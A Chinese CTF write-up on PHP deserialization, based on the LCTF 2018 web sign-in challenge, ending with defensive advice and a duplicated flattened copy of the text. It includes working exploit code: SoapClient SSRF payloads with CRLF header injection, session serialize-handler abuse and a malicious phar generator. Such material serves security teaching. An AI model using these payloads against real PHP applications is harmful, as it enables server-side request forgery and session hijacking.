从LCTF WEB签到题看PHP反序列化
字数 1510 2025-08-27 12:33:43

PHP反序列化漏洞高级利用技术详解

1. PHP反序列化基础概念

PHP反序列化漏洞是指当程序对用户输入的反序列化操作没有进行严格控制时,攻击者可以通过构造恶意的序列化数据来执行任意代码或获取敏感信息。

1.1 序列化与反序列化

  • 序列化(serialize): 将PHP对象转换为可存储或传输的字符串格式
  • 反序列化(unserialize): 将序列化字符串还原为PHP对象

1.2 常见触发点

  • 直接使用unserialize()函数
  • 通过session_start()session_decode()处理会话数据
  • 使用phar://协议访问文件时

2. LCTF Web签到题分析

2.1 题目源码分析

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f], $_POST);
session_start();
if (isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

2.2 漏洞利用思路

  1. 目标: 访问本地flag.php获取flag
  2. 限制: 需要本地访问flag.php
  3. 思路: 构造反序列化触发SSRF(服务器端请求伪造)

2.3 关键挑战

  • 没有可利用的自定义类,无法构造传统POP链
  • 需要利用PHP原生类进行攻击

3. PHP原生类利用 - SoapClient

3.1 SoapClient简介

SoapClient是PHP内置的用于与SOAP Web服务交互的类,可以用于构造HTTP请求。

3.2 SoapClient的SSRF利用

$a = new SoapClient(null, array('location'=>'http://example.com:2333/', 'uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();  // 触发HTTP请求

3.3 构造CRLF注入

通过设置user_agent头部可以注入额外的HTTP头:

$target = "http://example.com:2333/";
$post_string = 'data=abc';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null, array(
    'location' => $target,
    'user_agent' => 'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
    'uri' => 'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^', "\n\r", $aaa);
echo urlencode($aaa);

4. Session反序列化机制利用

4.1 PHP Session处理机制

PHP默认使用php引擎处理session,存储格式为:
键名|序列化值

4.2 引擎差异导致的漏洞

当序列化和反序列化使用不同引擎时会产生安全问题:

  1. 使用php_serialize引擎序列化
  2. 使用php引擎反序列化

4.3 利用步骤

  1. 通过session_start()session_decode()触发反序列化
  2. 构造包含恶意序列化数据的session
  3. 利用引擎差异执行反序列化

5. 解题完整过程

5.1 构造SoapClient payload

$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null, array(
    'location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

5.2 触发反序列化

  1. 通过call_user_func设置session.serialize_handler
  2. 将payload存入session
  3. 在序列化值前加|字符
  4. 使用相同PHPSESSID访问获取flag

6. PHAR协议反序列化扩展

6.1 PHAR文件结构

  1. stub: 文件头标识,格式为xxx<?php xxx; __HALT_COMPILER();?>
  2. manifest: 包含文件元数据,以序列化形式存储
  3. file contents: 实际文件内容
  4. signature: 文件签名(MD5或SHA1)

6.2 漏洞原理

使用phar://协议读取文件时,文件内容会被解析为phar对象,其中的meta-data会被反序列化。

6.3 利用方法

  1. 生成恶意phar文件
  2. 上传到服务器
  3. 通过文件操作函数触发反序列化

6.4 生成phar文件示例

class PicManager {
    // 目标类定义
}

$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt', 'asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o = new PicManager('/var/www/html/target_dir');
$phar->setMetadata($o);
$phar->stopBuffering();

6.5 触发反序列化

// 通过文件操作函数触发
file_exists('phar://shell.phar');

7. 防御措施

  1. 避免反序列化用户输入
  2. 使用session_set_save_handler()自定义session处理
  3. 保持session处理引擎一致
  4. 限制phar文件上传
  5. 使用php.ini中的phar.readonly设置限制phar写入

8. 总结

PHP反序列化漏洞利用技术不断发展,从传统的POP链构造到原生类利用,再到phar协议扩展攻击面,安全研究人员需要持续关注新的攻击手法。防御方则应采取多层次防护措施,从根本上杜绝此类漏洞的产生。

PHP反序列化漏洞高级利用技术详解 1. PHP反序列化基础概念 PHP反序列化漏洞是指当程序对用户输入的反序列化操作没有进行严格控制时,攻击者可以通过构造恶意的序列化数据来执行任意代码或获取敏感信息。 1.1 序列化与反序列化 序列化(serialize) : 将PHP对象转换为可存储或传输的字符串格式 反序列化(unserialize) : 将序列化字符串还原为PHP对象 1.2 常见触发点 直接使用 unserialize() 函数 通过 session_start() 和 session_decode() 处理会话数据 使用 phar:// 协议访问文件时 2. LCTF Web签到题分析 2.1 题目源码分析 2.2 漏洞利用思路 目标 : 访问本地flag.php获取flag 限制 : 需要本地访问flag.php 思路 : 构造反序列化触发SSRF(服务器端请求伪造) 2.3 关键挑战 没有可利用的自定义类,无法构造传统POP链 需要利用PHP原生类进行攻击 3. PHP原生类利用 - SoapClient 3.1 SoapClient简介 SoapClient是PHP内置的用于与SOAP Web服务交互的类,可以用于构造HTTP请求。 3.2 SoapClient的SSRF利用 3.3 构造CRLF注入 通过设置user_ agent头部可以注入额外的HTTP头: 4. Session反序列化机制利用 4.1 PHP Session处理机制 PHP默认使用 php 引擎处理session,存储格式为: 键名|序列化值 4.2 引擎差异导致的漏洞 当序列化和反序列化使用不同引擎时会产生安全问题: 使用 php_serialize 引擎序列化 使用 php 引擎反序列化 4.3 利用步骤 通过 session_start() 或 session_decode() 触发反序列化 构造包含恶意序列化数据的session 利用引擎差异执行反序列化 5. 解题完整过程 5.1 构造SoapClient payload 5.2 触发反序列化 通过 call_user_func 设置 session.serialize_handler 将payload存入session 在序列化值前加 | 字符 使用相同PHPSESSID访问获取flag 6. PHAR协议反序列化扩展 6.1 PHAR文件结构 stub : 文件头标识,格式为 xxx<?php xxx; __HALT_COMPILER();?> manifest : 包含文件元数据,以序列化形式存储 file contents : 实际文件内容 signature : 文件签名(MD5或SHA1) 6.2 漏洞原理 使用 phar:// 协议读取文件时,文件内容会被解析为phar对象,其中的meta-data会被反序列化。 6.3 利用方法 生成恶意phar文件 上传到服务器 通过文件操作函数触发反序列化 6.4 生成phar文件示例 6.5 触发反序列化 7. 防御措施 避免反序列化用户输入 使用 session_set_save_handler() 自定义session处理 保持session处理引擎一致 限制phar文件上传 使用 php.ini 中的 phar.readonly 设置限制phar写入 8. 总结 PHP反序列化漏洞利用技术不断发展,从传统的POP链构造到原生类利用,再到phar协议扩展攻击面,安全研究人员需要持续关注新的攻击手法。防御方则应采取多层次防护措施,从根本上杜绝此类漏洞的产生。